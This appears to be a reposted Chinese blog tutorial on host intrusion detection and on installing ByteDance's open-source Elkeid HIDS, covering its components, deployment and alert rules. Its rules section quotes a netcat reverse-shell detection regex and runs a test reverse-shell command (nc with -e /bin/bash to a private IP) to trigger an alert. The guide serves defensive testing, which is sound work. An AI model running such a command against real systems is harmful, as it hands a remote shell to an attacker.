当前位置: 首页 > news >正文

主机安全-开源HIDS字节跳动Elkeid安装使用

目录

  • 概述
    • 什么是HIDS
    • HIDS与NIDS的区别
    • EDR、XDR是啥?
  • Elkeid
    • 架构
    • Elkeid Agent && Agent center
    • Elkeid Driver
    • Elkeid RASP
    • Elkeid HUB
    • Service Discovery
    • Manager
    • 安装
    • 数据采集
    • 规则&告警
  • 参考


概述

什么是HIDS

HIDS( host-based intrusion detection system,基于主机的入侵检测系统),通过监测主机上的进程、文件、网络等信息来识别入侵风险。

HIDS与NIDS的区别

NIDS基于网络流量来进行入侵检测,和HIDS相比,实时性更高,对主机没有性能影响。一般装在网关等地方获取镜像流量即可,无需安装在每台主机节点,开源NIDS有Suricata等。

EDR、XDR是啥?

EDR(Endpoint Detection and Response,端点检测与响应),相较于传统的HIDS,EDR增加了响应的部分,例如添加SOAR(security orchestration, automation and response,安全编排、自动化与响应系统)、止损手段。
XDR( eXtended Detection and Response ,可扩展检测与响应),相较于EDR,能够结合多个数据源(云原生安全、电子邮件安全等)。

Elkeid

架构

在这里插入图片描述

  • Elkeid Agent:代理,与Manager节点通信,负责上传日志等信息,管理组件。
  • Elkeid Driver:负责 Linux Kernel 层采集数据,兼容容器,并能够检测常见 Rootkit。
  • Elkeid RASP:支持 CPython、Golang、JVM、NodeJS、PHP 的运行时数据采集探针,支持动态注入到运行时。
  • Elkeid HUB:策略引擎。
  • AgentCenter:收集Agent 数据,写入到消息队列,给Agent下发指令。
  • ServiceDiscovery:服务发现。
  • 实时计算模块:消费消息队列数据,进行分析和检测。
  • 离线计算模块:消费消息队列数据
  • Manager:管理各个模块。

Elkeid Agent && Agent center

参考关于 Elkeid Agent
Agent具有数据通信、资源监控、组件版本控制、文件传输、机器基础信息采集等功能。

Agent拥有多个Plugins,是Agent的插件,Agent的子进程,可以由多种语言实现。

  • Driver Plugin: 负责与 Elkeid Driver 通信,处理其传递的数据等
  • Collector Plugin: 负责端上的资产/关键信息采集工作,如用户,定时任务,包信息等
  • Journal Watcher: 负责监测systemd日志的插件,目前支持ssh相关日志采集与上报
  • Scanner Plugin:负责在端上进行静态检测恶意文件的插件,支持
  • Yara RASP Plugin: 分析系统进程运行时,上报运行时信息,处理下发的Attach 指令,收集各个探针上报的数据
  • Baseline Plugin: 负责在端上进行基线风险识别的插件

Agent Center基于gRPC + ProtoBuf通信,具有以下功能

  • 限流:最大链接数保护
  • 负载均衡:SD服务发现+Manager动态控制
  • 通信链路安全:SSL+HTTPS
  • 上报数据Kafka

Elkeid Driver

参考关于 Elkeid Driver
Elkeid Driver 主要通过 Kprobe Hook Kernel Function 来提供丰富而准确的数据收集功能,包括内核级进程执行探测,特权升级监控,网络审计等等。,并且支持 Linux Namespace。
主要是Plugins、Hook、Filter、Anti-Rootkit四个功能。

Elkeid RASP

参考Golang-RASP
RASP(Runtime application self-protection,实时应用自我防护),通过探针的方式注入到应用中,在运行时实时防护。

Elkeid HUB

参考:Elkeid HUB
在这里插入图片描述

  • INPUT 数据输入层,社区版仅支持Kafka
  • RULEENGINE/RULESET 对数据进行检测/外部数据联动/数据处理的核心组件
  • OUTPUT 数据输出层,社区版仅支持Kafka/ES
  • SMITH_DSL 用来描述数据流转关系

Service Discovery

服务发现,发现Agent。
负载均衡,

Manager

任务下发,分布式任务分发系统。

安装

根据Elkeid 完整部署进行部署。
在这里插入图片描述
在这里插入图片描述

数据采集

参考:数据接入指南
在这里插入图片描述

规则&告警

参考:HIDS开源策略列表
以hids_detect的reverse_shell_detect_argv为例,正则如下:

(?:\bnc(?:\s+-+\w+\s*[^\x3B\x7C]*\s+-\w*e\w*\b|\s+-\w*e\w*|\s+[\d\.\s]+\s+-\w*e\w*)|\bnc.openbsd(?:\s+-+\w+\s*[^\x3B\x7C]*\s+-\w*e\w*\b|\s+-\w*e\w*|\s+[\d\.\s]+\s+-\w*e\w*)|\bnc.traditional(?:\s+-+\w+\s*[^\x3B\x7C]*\s+-\w*e\w*\b|\s+-\w*e\w*|\s+[\d\.\s]+\s+-\w*e\w*)|\bnc.linux(?:\s+-+\w+\s*[^\x3B\x7C]*\s+-\w*e\w*\b|\s+-\w*e\w*|\s+[\d\.\s]+\s+-\w*e\w*)|\bnetcat(?:\s+-+\w+\s*[^\x3B\x7C]*\s+-\w*e\w*\b|\s+-\w*e\w*|\s+[\d\.\s]+\s+-\w*e\w*))

攻击payload如下:

nc 172.19.0.3 8888 -e /bin/bash

在这里插入图片描述
告警如下:
在这里插入图片描述
配置了一个企微机器人,收到消息:
在这里插入图片描述

参考

HIDS与NIDS的区别
crowdstrike-EDR
paloalto-XDR
五款流行开源的 HIDS 系统简单介绍
最后的防线:三款开源HIDS应用对比评估
腾讯自研HIDS「洋葱」后台上云架构演进实践

github-ossec
github-yulong-hids-archived
github-Elkeid

wazuh
github-wazuh
开源安全平台Wazuh的部署与体验

tripwire

suricate
github-suricata

奇安信-终端安全响应系统(EDR)

相关文章:

  • pgsql(guass)可获取到对应的表名称、字段名称、注释、字段类型
  • OrangePi AIpro 浅上手
  • MATLAB实现一个车辆悬架PID模拟系统
  • Django相关的基本操作
  • Pixi.js技术探索:开发者必备的视觉开发工具
  • MySQL手机号发送验证码设计与应用
  • Pandas数据可视化宝典:解锁图形绘制与样式自定义的奥秘
  • vscode使用记录
  • PXE、Kickstart和cobbler
  • 数据结构(C语言版)-第二章线性表
  • Windows 虚拟机服务器项目部署
  • Spring MVC 全注解开发
  • Go语言--广播式并发聊天服务器
  • TCP重传、滑动窗口、流量控制、拥塞控制机制
  • 【堆 优先队列 第k大】2551. 将珠子放入背包中
  • 【跃迁之路】【735天】程序员高效学习方法论探索系列(实验阶段492-2019.2.25)...
  • 03Go 类型总结
  • HashMap剖析之内部结构
  • iOS筛选菜单、分段选择器、导航栏、悬浮窗、转场动画、启动视频等源码
  • Python十分钟制作属于你自己的个性logo
  • React Transition Group -- Transition 组件
  • vue中实现单选
  • 汉诺塔算法
  • 使用Tinker来调试Laravel应用程序的数据以及使用Tinker一些总结
  • 数组的操作
  • 为什么要用IPython/Jupyter?
  • 我建了一个叫Hello World的项目
  • 吴恩达Deep Learning课程练习题参考答案——R语言版
  • 项目管理碎碎念系列之一:干系人管理
  • 用Canvas画一棵二叉树
  • 函数计算新功能-----支持C#函数
  • 如何用纯 CSS 创作一个货车 loader
  • ​ 轻量应用服务器:亚马逊云科技打造全球领先的云计算解决方案
  • # 计算机视觉入门
  • #etcd#安装时出错
  • #宝哥教你#查看jquery绑定的事件函数
  • #微信小程序:微信小程序常见的配置传旨
  • (11)MSP430F5529 定时器B
  • (MATLAB)第五章-矩阵运算
  • (Repost) Getting Genode with TrustZone on the i.MX
  • (二)Linux——Linux常用指令
  • (附源码)ssm考生评分系统 毕业设计 071114
  • (精确度,召回率,真阳性,假阳性)ACC、敏感性、特异性等 ROC指标
  • (九)One-Wire总线-DS18B20
  • (十六)Flask之蓝图
  • (一)SpringBoot3---尚硅谷总结
  • (转)ABI是什么
  • (转载)从 Java 代码到 Java 堆
  • (轉貼) 蒼井そら挑戰筋肉擂台 (Misc)
  • .NET CORE使用Redis分布式锁续命(续期)问题
  • .NET 将混合了多个不同平台(Windows Mac Linux)的文件 目录的路径格式化成同一个平台下的路径
  • .NET 设计模式—适配器模式(Adapter Pattern)
  • .NET(C#、VB)APP开发——Smobiler平台控件介绍:Bluetooth组件
  • .NET/C# 编译期能确定的字符串会在字符串暂存池中不会被 GC 垃圾回收掉
  • .NET/C# 使用 #if 和 Conditional 特性来按条件编译代码的不同原理和适用场景